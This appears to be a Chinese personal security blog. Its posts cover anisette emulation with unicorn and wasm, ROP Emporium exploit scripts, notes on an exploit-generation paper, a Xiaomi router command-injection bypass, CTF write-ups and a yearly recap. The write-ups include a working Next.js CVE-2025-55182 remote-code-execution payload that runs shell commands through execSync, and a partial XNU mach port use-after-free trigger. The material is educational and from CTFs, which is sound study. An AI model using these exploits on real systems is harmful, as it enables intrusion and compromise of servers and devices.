    "pthread_mutex_lock" => stub_return_zero(uc),
    "pthread_rwlock_unlock" => stub_return_zero(uc),
    "pthread_rwlock_destroy" => stub_return_zero(uc),
    "pthread_rwlock_wrlock" => stub_return_zero(uc),
    "pthread_rwlock_init" => stub_return_zero(uc),
    "pthread_mutex_unlock" => stub_return_zero(uc),
    "pthread_rwlock_rdlock" => stub_return_zero(uc),
    "gettimeofday" => stub_gettimeofday(uc),
    "__errno" => stub_errno_location(uc),
    "__system_property_get" => stub_system_property_get(uc),
    "arc4random" => stub_arc4random(uc),
    other => {
      debug_print(other);
      Err(VmError::UnhandledImport(other.to_string()))
    }
  }
}

Hook 出来之后，剩下就是“按需补 stub”。

顺带一提：hook 里只有时间是变量，如果时间不变，生成的 OTP 也会稳定一致。

另外，cargo 编译这块我用 .cargo/pkg-config.toml 强行指定链接地址：

[env]
PKG_CONFIG_ALLOW_CROSS = "1"
PKG_CONFIG_PATH = { value = ".cargo/pkgconfig", relative = true }

[target.wasm32-unknown-emscripten]
rustflags = [
  "-C",
  "link-arg=--no-entry",
  "-C",
  "link-arg=-sSTANDALONE_WASM=1",
  "-C",
  "link-arg=-sALLOW_MEMORY_GROWTH=1",
  "-C",
  "link-arg=-sINITIAL_MEMORY=268435456",
]

prefix=${pcfiledir}/../../../unicorn
exec_prefix=${prefix}
libdir=${exec_prefix}/build
includedir=${exec_prefix}/include

Name: unicorn
Description: Unicorn engine static library (wasm build)
Version: 2.1.1
Libs: -L${libdir} -lunicorn -lunicorn-common -laarch64-softmmu -larm-softmmu
Cflags: -I${includedir}

经过一天愉快的调试，本地rust跑通了！

接下来就build emscripten runtime的wasm了！

然后就遇到了程序员经典玄学问题之：为什么它能跑？为什么它不能跑？是 wasm 环境里“同样代码跑不通”。先确认一个前提：问题不在 unicorn 本体上，只可能是 wasm 相关改动。于是用对拍 + 手动 hook register 的方式确认逻辑能完整跑通，然后再把这些调试逻辑清理掉。

做法也挺朴素：固定所有输入（时间 + device token），每 1k 次输出一次寄存器快照，用脚本找差异，缩小区间。原来这就是 Baby Step Giant Step 对拍啊 XD。

第一个坑是 UMULH：应该做 (x1 * x2) >> 64，结果不对。把问题丢给 codex 读了一通，发现是 TCI 的 wasm ABI helper 参数截断。修掉后 UMULH 正常。

第二个坑在内存读取：某些地址读不对。于是我在 Python 版和 Rust wasm 版同一位置加 code hook / mem read hook，定位读地址，再回溯到上一次写地址，dump 一下内存，问题就清楚了。

最后发现是 mmap 的 wasm 实现用了 aligned_alloc，但和原版语义不一致：

size_t total = size + align - getpagesize();
return aligned_alloc(align, size);

没考虑 round-up，于是改成这样：

if (!is_power_of_2(align)) return NULL;
size_t rounded = (size + align - 1) & ~(align - 1);
void *p = aligned_alloc(align, rounded);
return p;

https://github.com/lbr77/unicorn/commit/4de7c20ba8a7119405b3e0e8b82862efc70bda45#diff-842456abe9564ae1e7d75ab8f322be6c27ca3c512e445a18e5898dea68ad9799

最后修改后的代码在这里，方便参考：

https://github.com/lbr77/anisette-js/

后面的签名部分还没完全调通，等我折腾完了再更新ww。

ret2win

最简单的栈溢出，没有任何保护

给了一个shell，直接写shell地址就好。

from pwn import *
context.log_level = "debug"
elf = ELF("./ret2win")

p = process(["orb", "./ret2win"])
payload = b"A" * 0x28 + p64(elf.symbols["ret2win"])
p.sendlineafter(b"> ", payload)
p.interactive()

split

这里是一样的，多了一个string地址，需要用pop方式清空掉rdi，然后再调用。

所以rop链是什么？把返回地址覆盖掉，程序会依次调到你构造的rop地址然后（ret; gadget加上之后会返回到原来的地址）。

这里尝试用一下angrop，感觉未来做普通rop题都能用了。

from pwn import *
import angr, angrop
from multiprocessing import cpu_count
cpu_num = cpu_count()
if __name__ == "__main__":
    p = angr.Project("./split", auto_load_libs=False)
    rop = p.analyses.ROP()
    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(processes=cpu_num, optimize=False)
        rop.save_gadgets(cache)
    ch = rop.set_regs(rdi=0x601060) + \
            rop.func_call(0x400560, [])
    
    print(ch.payload_code())
    chain = b""
    chain += p64(0x4007c3)  # pop rdi; ret 
    chain += p64(0x601060)
    chain += p64(0x400560)  # <func_0x40074b>
    p = process(["orb", "./split"])
    p.sendlineafter(b"> ", b"A" * 0x28 + chain)
    p.interactive()

callme

这个明显可以直接逆向了（）

但是如果要用程序自执行的话，我们需要依次调用so文件里的callme_one, callme_two, callme_three。

import angr, angrop
import logging
logging.getLogger().handlers.clear()
logging.basicConfig(level=logging.CRITICAL)

from pwn import *
context.log_level = "error"

if __name__ == "__main__":
        
    elf = angr.Project("./callme", auto_load_libs=True)
    ELF = ELF("./callme")
    rop = elf.analyses.ROP()
    rop.find_gadgets()
    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    callme_one = ELF.symbols["callme_one"]
    callme_two = ELF.symbols["callme_two"]
    callme_three = ELF.symbols["callme_three"]
    print(f"callme_one: {hex(callme_one)}")
    print(f"callme_two: {hex(callme_two)}")
    print(f"callme_three: {hex(callme_three)}")
    ch = rop.func_call(callme_one, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \
         rop.func_call(callme_two, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \
         rop.func_call(callme_three, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D])
    print(ch.payload_code())
    p = process(["orb", "./callme"])
    p.sendlineafter(b"> ", b"A" * 0x28 + ch.payload_str())
    p.interactive()

write4

需要把文件名写到bss段里。

不过有了angrop的话，想来以后rop题基本上找到leak就能直接出了吧。

import angr, angrop
from pwn import *
context.log_level = "error"
if __name__ == "__main__":
    elf = angr.Project("./write4", auto_load_libs=True)
    ELF = ELF("./write4")
    rop = elf.analyses.ROP()
    rop.find_gadgets(processes=1)
    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    bss = ELF.bss()
    print(bss)
    chain = rop.write_to_mem(bss + 0x0, b"flag.txt") + \
            rop.func_call(ELF.symbols["print_file"], [bss])
    print(chain)

    payload = b"A" * 0x28 + chain.payload_str()
    p = process(["orb", "./write4"])
    p.sendline(payload)
    p.interactive()

badchars

加了过滤，我们随便写一段字符串然后用xor放进去就行。

这里xor是我自己改出来的（，可能交个pr给angrop？

import os
import angr
import angrop  # noqa: F401
from pwn import *

context.log_level = "error"

if __name__ == "__main__":
    proj = angr.Project("./badchars", auto_load_libs=False)
    elf = ELF("./badchars")

    rop = proj.analyses.ROP()
    rop.set_badbytes([ord("x"), ord("g"), ord("a"), ord(".")])

    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)

    bss = elf.bss()
    print(f".bss addr: {hex(bss)}")

    bad_chars = {ord("x"), ord("g"), ord("a"), ord(".")}
    data =     b"flag.txt"
    new_data = b"flbhbtyt"
    chain = rop.write_to_mem(bss, new_data)
    for i in range(len(data)):
        if data[i] in bad_chars:
            chain += rop.xor_mem(bss + i, data[i] ^ new_data[i], data_size=8)
    chain += rop.func_call(elf.symbols["print_file"], [bss])
    print(chain)
    payload = b"A" * 0x28 + chain.payload_str()
    p = process(["orb", "./badchars"])
    p.sendline(payload)
    p.interactive()

fluff

这个看起来自动化不太能做。用了很多奇怪的指令并不是常见的东西。当然比赛一般不会这么搞，所以还是手搓下吧。

xlat：以al为偏移，索引bx指向内存中的字节，可以用来从内存里取字节，需要al和bx的值可控

bextr：位域索引，第一个源操作数是原数据，第二个源操作数是索引开始位置（8位）和长度，这里可以控制rbx的值

stosb可以保存1个字节从al到rdi指向的地址，rdi可以控制，设置为随便一个可写地址就行。不给代码了可以去看别人写的。我写得好烂

pivot

这里给了个堆指针 + 一个短很多的栈溢出。所以我们需要ret2heap，然后heap上写我们的rop chain。需要注意我们现在没有ret2win的地址（在so里面），需要用foothold_function打印plt表。

注意这里是一种新方法：因为第二次输入的只有0x40，不够覆盖太多内容，我们需要把栈迁移到第一次输入的地方然后再执行。

唉，写poc还是太麻烦了。

from pwn import *
context.log_level = "error"
import os
import angr
import angrop  # noqa: F401
context.terminal = ["tmux", "splitw", "-h"]

if __name__ == "__main__":
    proj = angr.Project("./pivot", auto_load_libs=False)
    elf = ELF("./pivot")
    lib = ELF("./libpivot.so")
    rop = proj.analyses.ROP()

    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)

    p = process(["orb", "qemu-x86_64",  "./pivot"])
    p.recvuntil(b"pivot: ")
    pivot_addr = int(p.recvline().strip(), 16)
    print(f"pivot address: {hex(pivot_addr)}")
    bss = elf.bss()
    print(f".bss addr: {hex(bss)}")
    chain_heap = rop.func_call(elf.symbols["foothold_function"], [])
    chain_heap += rop.func_call(elf.symbols["puts"], [elf.got["foothold_function"]]) # then recv plt table -> get ret2win
    chain_heap += rop.func_call(elf.symbols["main"], []) # return to main to read again
    print(chain_heap)
    p.sendlineafter(b"> ", chain_heap.payload_str())
    chain_stack1 = rop.pivot(pivot_addr  + 0x8)

    print(chain_stack1)
    p.sendlineafter(b"> ", b"A" * 0x28 + chain_stack1.payload_str())
    p.recvuntil(b"foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\n")
    leaked = p.recvuntil(b"\n", drop=True)
    leaked = u64(leaked.ljust(8, b"\x00"))
    print(f"leaked foothold_function addr: {hex(leaked)}")
    libpivot_foothold = lib.symbols["foothold_function"]
    libpivot_ret2win = lib.symbols["ret2win"]
    offset = libpivot_ret2win - libpivot_foothold
    ret2win_addr = leaked + offset
    print(f"ret2win addr: {hex(ret2win_addr)}")
    chain_heap2 = rop.func_call(ret2win_addr, [])
    print(chain_heap2)
    p.sendlineafter(b"> ", chain_heap.payload_str())
    p.sendlineafter(b"> ", b"A" * 0x28+ chain_heap2.payload_str())
    print(p.recvall(timeout=1).decode())

ret2scu

这个就似乎不太能用angrop这种自动化工具了（当然比赛也很少有这种苛刻的条件吧？）

需要先用下面的pop设置寄存器，在用上面的680开始的一段设置rdx和rax。

from pwn import *
context.log_level = "error"
import os
import angr
import angrop  # noqa: F401
context.terminal = ["tmux", "splitw", "-h"]

if __name__ == "__main__":
    proj = angr.Project("./ret2csu", auto_load_libs=False)
    elf = ELF("./ret2csu")
    lib = ELF("./libret2csu.so")
    rop = proj.analyses.ROP()

    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    # chain = rop.set_regs(rdi=0xDEADBEEFDEADBEEF, rsi=0xCAFEBABECAFEBABE, rdx=0xD00DF00DD00DF00D)
    chain = rop.set_regs(rbx=0, rbp=1, r12=0x000000000600E48, r13=0xdeadbeefdeadbeef, r14=0xcafebabecafebabe, r15=0xd00df00dd00df00d)
    chain.add_value(0xdeadbeefdeadbeef)
    chain.add_value(0x400680)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x4006a3)
    chain += rop.set_regs(rdi=0xDEADBEEFDEADBEEF)
    chain += rop.func_call(elf.symbols["ret2win"], [])
    print(chain)
    p = process(["orb","qemu-x86_64","./ret2csu"])
    p.sendlineafter(b"> ",b"A" * 0x28 + chain.payload_str())
    p.interactive()

从源代码出发，自动发现漏洞 → 判断是否可利用 → 自动生成可用的控制流劫持 exploit

创新点：

把漏洞利用建模成了形式化问题——漏洞+利用：

\prod {bug} (\epsilon) \land \prod {exploit} (\epsilon) 

Π_bug：程序进入不安全状态（如越界写、格式化字符串）

Π_exploit：该不安全状态可被用来劫持控制流（如覆盖返回地址并跳转到 shellcode）

最大贡献：

Preconditioned Symbolic Execution

在符号执行前加入“可利用性相关的预条件”，只探索“可能 exploitable”的路径

极大减少状态空间，是 AEG 能跑真实程序的关键原因

路径搜索优先级：

• 有小bug的路径先考虑。
• 循环跑满

系统整体流程：

源码→ LLVM IR + 二进制（用来算布局等）→ 符号执行找到bug → 动态二进制分析（漏洞buffer地址，返回地址，栈内容）→ 自动构造约束（ret2stack/libc/format string）→ 约束求解 + 实际验证

缺点：

只能处理传统漏洞：栈溢出，格式化字符串利用，本地/远程exploit，自动选择shellcode，NOP sled, 栈修复。但不处理ASLR，DEP/NX，PIE / CFI等现代化防护。

嗯…因为最近考试快考完了没什么事情干，于是我又手痒了（

想刷之前买的小米路由器BE3600 2.5G (RD15) 玩。

第一步当然是开ssh了。本质上就是用rce改命令参数

网上看到有一个start_binding的洞，之前版本都可以用，于是我也尝试了下：

不行。

进行了一系列搜索之后，我知道小米这一套系统是基于openwrt+luci，也就是lua语言为主。也就是我们需要找到一个命令注入，需要exec我们可控并且不被过滤的字符串。

尝试下了一个最新版本的包，binwalk发现是ubi镜像，于是用这个工具读取‣

接下来用binwalk直接拆开squashfs文件系统。

这里面的lua文件是加密了的，但是也有工具可以解开。‣可以去我fork的action里下载构建好的版本。

GPT写了个脚本，把所有lua改回来了：

#!/bin/bash

# 设置颜色输出
GREEN='\033[0;32m'
RED='\033[0;31m'
NC='\033[0m' # No Color

# 输出目录
OUTPUT_DIR="../decompiled"

# 创建输出目录
mkdir -p "$OUTPUT_DIR"

# 检查unluac.jar是否存在
if [ ! -f "./unluac.jar" ]; then
    echo -e "${RED}错误: unluac.jar 未找到${NC}"
    exit 1
fi

# 统计变量
total=0
success=0
failed=0

# 查找并处理所有.lua文件
while IFS= read -r -d '' file; do
    ((total++))
    
    # 生成输出文件路径
    output_file="$OUTPUT_DIR/$file"
    
    # 创建输出目录
    mkdir -p "$(dirname "$output_file")"
    
    # 添加注释并反编译
    if echo "-- Decompiled from: $file" > "$output_file" && \
       java -jar ./unluac.jar "$file" >> "$output_file" 2>/dev/null; then
        echo -e "${GREEN}✓${NC} $file -> $output_file"
        ((success++))
    else
        echo -e "${RED}✗${NC} 失败: $file"
        rm -f "$output_file"
        ((failed++))
    fi
done < <(find . -type f -name "*.lua" -print0)

# 输出统计信息
echo ""
echo "====== 反编译完成 ======"
echo "总计: $total"
echo -e "${GREEN}成功: $success${NC}"
echo -e "${RED}失败: $failed${NC}"
echo "输出目录: $OUTPUT_DIR"

定位到了这个函数，重写了下：

可以看到上面有过滤，1523是因为被filter了，但是网上相关的内容就是这么做的，历史版本代码也一样，不应该有问题呀？搜了下commonstr，找到了过滤字符串

看上去过滤挺全的。不应该会有漏洞？

于是找了老版本拆包看看：

恍然大悟：老版本没有过滤掉换行拼接，这导致了绕过成功。

看起来小米工程师估计是潜伏在恩山内部的，一看到最新漏洞立马就修了！

还有没有其他solution？

不愧是恩山论坛：

但是我就不试了吧，毕竟现在这一套设备是已经能正常工作了，别添乱了（

不过感觉源代码里应该还是能有其他命令注入的

新年第一篇文章就这么愉快的水完了

Misc

5-Layer-Fog

赞美chatgpt，我好懒啊

RegexBeast

赞美codex，

from __future__ import annotations

import re
import sys
from pathlib import Path
from typing import Set, Tuple

ENC_FILE = Path("enc.txt")
PNG_OUT = Path("decoded.png")


def parse_regex(text: str) -> bytes:
    """Parse the specific regex grammar of this challenge into one byte string."""

    sys.setrecursionlimit(10_000_000)

    idx = 0
    if text.startswith("/"):
        idx = 1  # skip leading slash

    def parse_expr(i: int) -> Tuple[Set[str], int]:
        lang, i = parse_term(i)
        langs = [lang]
        while i < len(text) and text[i] == "|":
            lang2, i = parse_term(i + 1)
            langs.append(lang2)
        union: Set[str] = set()
        for l in langs:
            union.update(l)
        return union, i

    def parse_term(i: int) -> Tuple[Set[str], int]:
        if i >= len(text) or text[i] in ")|/":
            return {""}, i
        lang_factor, is_lookahead, i = parse_factor(i)
        lang_rest, i = parse_term(i)
        if is_lookahead:
            # (?=...) means intersection with the rest of the pattern
            inter = lang_rest & lang_factor
            return inter, i
        combined: Set[str] = set()
        for a in lang_factor:
            for b in lang_rest:
                combined.add(a + b)
        return combined, i

    def parse_factor(i: int) -> Tuple[Set[str], bool, int]:
        if text[i] == "(":
            kind = text[i + 1 : i + 3]
            if kind == "?:":  # non-capturing grouping
                lang, j = parse_expr(i + 3)
                assert text[j] == ")"
                return lang, False, j + 1
            if kind == "?=":  # positive lookahead
                lang, j = parse_expr(i + 3)
                assert text[j] == ")"
                return lang, True, j + 1
            raise ValueError(f"unexpected group type at {i}")

        # literal run of \xHH bytes
        out = []
        while i < len(text) and text[i] not in "()|":
            if text[i] == "\\" and text[i + 1] == "x":
                out.append(chr(int(text[i + 2 : i + 4], 16)))
                i += 4
            elif text[i] == "\\":
                out.append(text[i + 1])
                i += 2
            else:
                out.append(text[i])
                i += 1
        return {"".join(out)}, False, i

    lang_final, end_idx = parse_expr(idx)
    if text[end_idx : end_idx + 1] == "/":
        end_idx += 1
    if end_idx != len(text):
        raise ValueError("did not consume full regex")
    if len(lang_final) != 1:
        raise ValueError(f"expected single result, got {len(lang_final)}")
    return next(iter(lang_final)).encode("latin1")


def main() -> None:
    text = ENC_FILE.read_text()
    png_bytes = parse_regex(text)
    PNG_OUT.write_bytes(png_bytes)
    print(f"Wrote {PNG_OUT} ({len(png_bytes)} bytes)")

    # Optional QR decode if pyzbar is installed
    try:
        from pyzbar.pyzbar import decode
        from PIL import Image

        res = decode(Image.open(PNG_OUT))
        if res:
            for r in res:
                try:
                    print("QR data:", r.data.decode("utf-8"))
                except Exception:
                    print("QR raw bytes:", r.data)
        else:
            print("pyzbar did not find a QR code.")
    except Exception as e:  # noqa: BLE001
        print(f"(Skipping QR decode: {e})")


if __name__ == "__main__":
    main()

Pwn

password only

手速题

不过谁家好人在二进制里写的socket监听呢

#!/usr/bin/env python3
from pwn import *
import time

context.log_level = "info"
# HOST, PORT = "127.0.0.1", 8888
HOST, PORT = "06a37270f1b2.target.yijinglab.com", 57657

def login(r, user, pwd):
      r.recvuntil(b"Available commands")
      r.sendline(f"LOGIN {user} {pwd}".encode())

def toggler():
      r = remote(HOST, PORT)
      login(r, "admin", "admin123")
      r.sendline(b"TOGGLE_ADMIN")
      return r

def reader():
      r = remote(HOST, PORT)
      login(r, "user1", "pass123")
      time.sleep(0.1)
      log.info("reader: sending READ_FLAG with dummy signature")
      r.sendline(b"READ_FLAG")
      dummy_sig = b"0" * 512
      r.recvuntil(b"hex string):")
      r.sendline(dummy_sig)
      data = r.recvrepeat(1)
      print(data.decode(errors="ignore"))
      r.close()


t = toggler()
reader()
t.close()

Web

freestyle

看了下用的nextjs 16.0.6，affected by CVE-2025-55182

于是直接出了，有两种做法，grep flag或者拿token都行

import requests
import sys
import json

BASE_URL = "http://981f50bbeadc.target.yijinglab.com/"
# BASE_URL = "http://localhost:3000"
EXECUTABLE = "grep -r flag{ .next"
EXECUTABLE = "echo token ${globalThis.CTF_CHALLENGE_TOKEN}"
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync(`{EXECUTABLE}`,{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
print(json.loads(res.text.splitlines()[1][3:])["digest"])

前几天没看这个漏洞，但是今天一看在nextjs勾石一样的请求套娃下，这个poc简直太优雅了，似乎react server还会麻烦一点。

今年又pick up了一些奇怪的习惯？这个学期每两天去游一次泳，上半学期隔一天跑一次4km，自行车似乎受不起我长期折腾，没有怎么出去骑，但今年确实生病少多了。

然后开了一些新地图——去上海经历了一段有意思的实习，同时还有一份远程的工作。在上海体验了台风，以及周末跑出去逛街，吃好吃的，打羽毛球…总之超级有意思。

拿了很多奖！国赛不说了，xctf打了好多，还进了final，强网杯也进了final，虽然成绩并不靠前但是学了一些新东西。

学了挺多东西：做了一个kernel pwn（但其实看了十几个不同的解法），写了一个react的简单实现，照着rcore写了一个操作系统，又学了南京大学的《软件分析》课程，把太阿实验课的题做完了。也接触到了更多的ios/xnu相关的有意思的东西。

还认识了许多新朋友，在杭州/上海和某几个推友一起玩了好几次，还在Geekcon上面积了好多志同道合的大佬们。

嗯其实还有…在有空的周末进行一个随机散步开地图，看看长春还有什么有意思的东西…?

其实感觉最大的反而是ai的发展。谁能想到大家感觉最震撼的DeepSeek已经是一年前的东西了，而在这一年里，chatgpt，claude，gemini都有了各种impressive的agent出现，thinking模型已经从前沿的能力变成了basic…在安全赛场上使用模型做题也是让人印象深刻，可以看到我前段时间的文章里有很多题都是它们完成的。不得不说我的行业预感是对的，看到一年前我就预测今年agent会发展得非常快。 但是遗憾我没有参加腾讯云的agent渗透大赛，感觉那个也非常好玩呀。

不知道剩下的该写什么了，那就翻翻相册写流水账吧

1月

考完试回家，装了一辆自行车在家里，一年骑了两次🤡

然后把没考完的半个驾照考完了

出去和高中同学打桌游

过年，被家里人拉出去玩

被拉到一个朋友家里去喂猫猫

2月

开车出去玩了几次，似乎是这个时候办的vnctf出了一道题但是其实有锅（额

骑车

3月

学了清华的rCore，照着写了个操作系统程序（kernel + 内存管理 + fs）。

去天津比赛。嗯好像吃了顿好的

4月

随便投了点简历，但是也没找到工作。然后这两个月高强度在寝室玩cs，还都是打的平台。

还有杏花节，才开了一树花就下雪，真好看

五一之前去了福州比赛，顺便去了厦门结果报销还没报下来

5月

五一劳动节开始天天跑步我记得是，于是可以拍到一些贼好看的照片

听了很多企业的安全沙龙，学了一些东西但似乎没啥用。

然后买了两条32g的d5内存，才花了1000块。早知道我就买十条了

6月

莫名奇妙找到了两份实习，一个远程一个线下。

然后就是在你🐔宿舍被热似的一个期末月，，怎么能这么热啊。

还买了个大玩具，quest3s，虽然也没咋玩。体验下来也就那样吧，必须得配游戏，但是有点买不起.jpg

后面看到一个kernel exp可以拿root试了下差点没变砖

顺带提一嘴6月热梗是“露比酱～嗨～纳尼噶suki？”

7月

然后飞上海，第一次沪漂（xxx

发现真没说错，才开始上班的小孩子特别喜欢拍下班时候看到的夕阳。但是工作一天看到好看的天空确实很开心呢

去找呆在上海的朋友玩，还吃了亿点点萨莉亚。上海的二次元氛围是真的很浓。

顺便逛了逛，南京路百联什么的卖的都是一样的东西超级贵，没拍。

还有一次下班之后溜出去吃牛new，四个人没吃回本，真服了

周末又去了杭州，嗯走了半圈西湖，然后坐上了推友的副驾，也好玩

住的楼底下有一辆痛车和一辆gtr，都是一个人的。（非常有意思是车主老哥有一天看着我一直在观察拉着我上车让我开…？婉拒但是加了富哥的微信）

肝进了xctf final。真厉害喵，我们是第一个学校战队。

参加了一个riscv shanghai conference，领了两件衣服（到现在还在穿）晚上回去还发现达摩院在我们公司旁边omg。

然后还抽空去打了国赛，一个第三一个第九，不赖。

坐高铁回来的路上遇见一对母子，蹭他们的平板重温了一遍疯狂动物城1（没想到十一月2就上映了）

8月

去了静安寺旁边那一块找朋友，顺便拍了点照片（）

从砍砍那收了一台13mini，开启了我的ios研究。

然后还有好看的china joy！（对不起把coser小姐姐拍得太难看了我不好意思放进来呜呜呜）

实验室买了五台加起来好几十万的服务器。

还有防御塔（

快月底了还有好看的gossip暑期学校

吃了一顿一百块的散伙饭，贵死了，但是猪排很好吃（家乡的味道，哦一西xxx

最后去深圳打鸿蒙ctf。华为还是太有钱了。第一次住上喜来登大酒店

但是有人没带港澳通行证。遗憾，开卡计划失败。

9月

买了一台mac mini，还收到了球球送的咖啡，然后搬到校外去住了

顺便开了宽带，折腾了下光猫软路由什么的，顺便把懒猫拿过来了，把系统扬了换成了飞牛。

还买了索尼xm5，保暖神器，虽然我不知道它能不能这么耐造Orz

10月

国庆节回家了，见了好多人（？

其实就几个

然后面试挂了一个超级简单的链表反转，我真傻。

又去了上海参加geekcon，希望以后不要长途跋涉来这种地方了😭

没记错就这几天刀皮市场爆了一次。

然后去打xctf final，去了宁波，我没啥发挥，主要是我们的二进制手在做题。最后没想到solo是第二。

买了iphone 17，长焦嘛…我有相机。

11月

办了我们今年的第二场校赛

又出去郑州打了强网杯决赛，差了好多分，其实有机会拿二等奖的。

还有神秘雪王大楼

后来复现了强网杯的kernel pwn，学了好多东西

12月

期末月，没啥说的。

有人考前半天才知道今天考试，没复习过来….？

然后还有一大本计算机网络，祝我成功。

大概就这些了吧，期末月偶尔出去转转，也没什么意思

其他的？

追番：芙莉莲，时光饭，龙女仆，狼与香辛料，药屋少女，更衣人偶2，母鸡卡，gqux，高达0079，gto，我独自升级2

游戏：cs2，鸭科夫，文明6，喵斯，地平线4，死亡细胞，黑猴，雀魂，幽灵行者，欧卡，三角洲，VRC，真人快打11，明日方舟

新年新flag

每周写report（但是不一定要发出来

每天一个leetcode，加练

学更多pwn，希望能有其他方向了。

如果可以的话，试试写一个react native的应用？

明年要准备考研了，工作暂时就不找了罢…

首先看代码，按照出题人的说法是故意改出来的洞，其他内存洞都不能用。

UAF分析+验证

diff ipc_tt_org.c ipc_tt.c
1424a1425,1438
> ipc_port_t
> port_name_to_kport(mach_port_name_t name) {
>       ipc_port_t kport;
>       if (MACH_PORT_VALID(name))
>       {
>               if (ipc_object_copyin(current_space(), name,
>                                                         MACH_MSG_TYPE_COPY_SEND,
>                                                         (ipc_object_t *)&kport) != KERN_SUCCESS)
>                       return (0);
>               return kport;
>       }
>       return 0;
> }
> 
1724a1739,1741
>                       if (old_port[i] == new_port) {
>                               continue;
>                       }
1738,1739c1755,1759
<               if (IP_VALID(old_port[i]))
<                       ipc_port_release_send(old_port[i]);
---
>               if (IP_VALID(old_port[i])) {
>                       if (((old_port[i]->ip_object).io_references) > 0) {
>                               ipc_port_release(old_port[i]);
>                       }
>               }
1741,1742c1761,1765
<       if (IP_VALID(new_port))          /* consume send right */
<               ipc_port_release_send(new_port);
---
>       if (IP_VALID(new_port)) {        /* consume send right */
>               if (((new_port->ip_object).io_references) > 0) {
>                       ipc_port_release(new_port);
>               }
>       }

丢给gpt一番分析大概知道了这个地方是个machport uaf。

💡

关于reference和send right的解释，可以看这篇文章

From zero to tfp0 - Part 2: A Walkthrough of the voucher_swap exploit

In this article, we will get an in-depth look at the voucher_swap vulnerability and all the steps leading up to getting the kernel task port.

Reference counting is a form of simple yet effective memory management. It is basically a way to keep a count of the number of references to an object held by other objects. If an object’s reference count reaches zero, the object will be freed. Creating or Copying an object will increase its reference count by 1, whereas destroying a reference or overwriting the object will decrement its reference count by 1. In systems with limited memory, reference counting can prove more efficient than garbage collection (which happens in cycles and can be time consuming) , because objects can be claimed as soon as their reference count becomes zero, and this improves overall responsiveness of the system.

嗯大概意思是，对于每一块分配出去的内存有一个引用计数：当引用计数为0时说明当前内存可以再次被分配。当进行一次拷贝时，reference + 1，

另外对于send rights，这是一个关于machport的属性。如果一个对象有send right，那么它可以在用户态被操作。于是可以非常完美地解释这个修改造成的问题。

我们考虑重复调用两次task_set_exception_ports(self, mask, victim, …)这个函数。

修改前：第一次：内核复制一份 → +1 send right ipc_port_release_send(new_port) 释放调用者的那份 → -1 send right

第二次：再复制一份给 task → +1 释放旧的 exc_actions[x].port 第一次留下的那份 -1 最后 你手上仍无send right可释放影响较小

修改后：第一次： 内核复制一份 → +1 send right

ipc_port_release 直接减少reference

第二次：send right不增加，但是old和new都再减少一次reference。

当reference变成0时，task_port_t这块内存就被free了。

这个时候我们再通过heap fengshui把这块区域的控制重新拿回来，因为send right还在，内核仍然认为这个port是有效的，我们可以修改内容，变成我们期望的task，比如tfp0！

于是迅速写了一坨验证exp：

 // clang -Wall -O2 -o poc poc.c
  #include <mach/mach.h>
  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>

  static mach_port_t make_port(void) {
      mach_port_t p = MACH_PORT_NULL;
      kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
      if (kr != KERN_SUCCESS) { fprintf(stderr, "alloc: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
      kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
      if (kr != KERN_SUCCESS) { fprintf(stderr, "insert: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
      return p;
  }

  static void exhaust_refs(mach_port_t p) {
      exception_mask_t mask = EXC_MASK_BAD_ACCESS;
      task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      for (int i = 0; i < 8; i++) {
          task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      }
      mach_port_mod_refs(mach_task_self(), p, MACH_PORT_RIGHT_RECEIVE, -1);
  }

  int main(void) {
      mach_port_t victim = make_port();
      if (victim == MACH_PORT_NULL) return 1;

      exhaust_refs(victim);
      puts("[*] port should now be dangling, sending to it to trigger UAF/panic...");

      struct {
          mach_msg_header_t hdr;
      } msg;
      memset(&msg, 0, sizeof(msg));
      msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
      msg.hdr.msgh_size = sizeof(msg);
      msg.hdr.msgh_remote_port = victim;

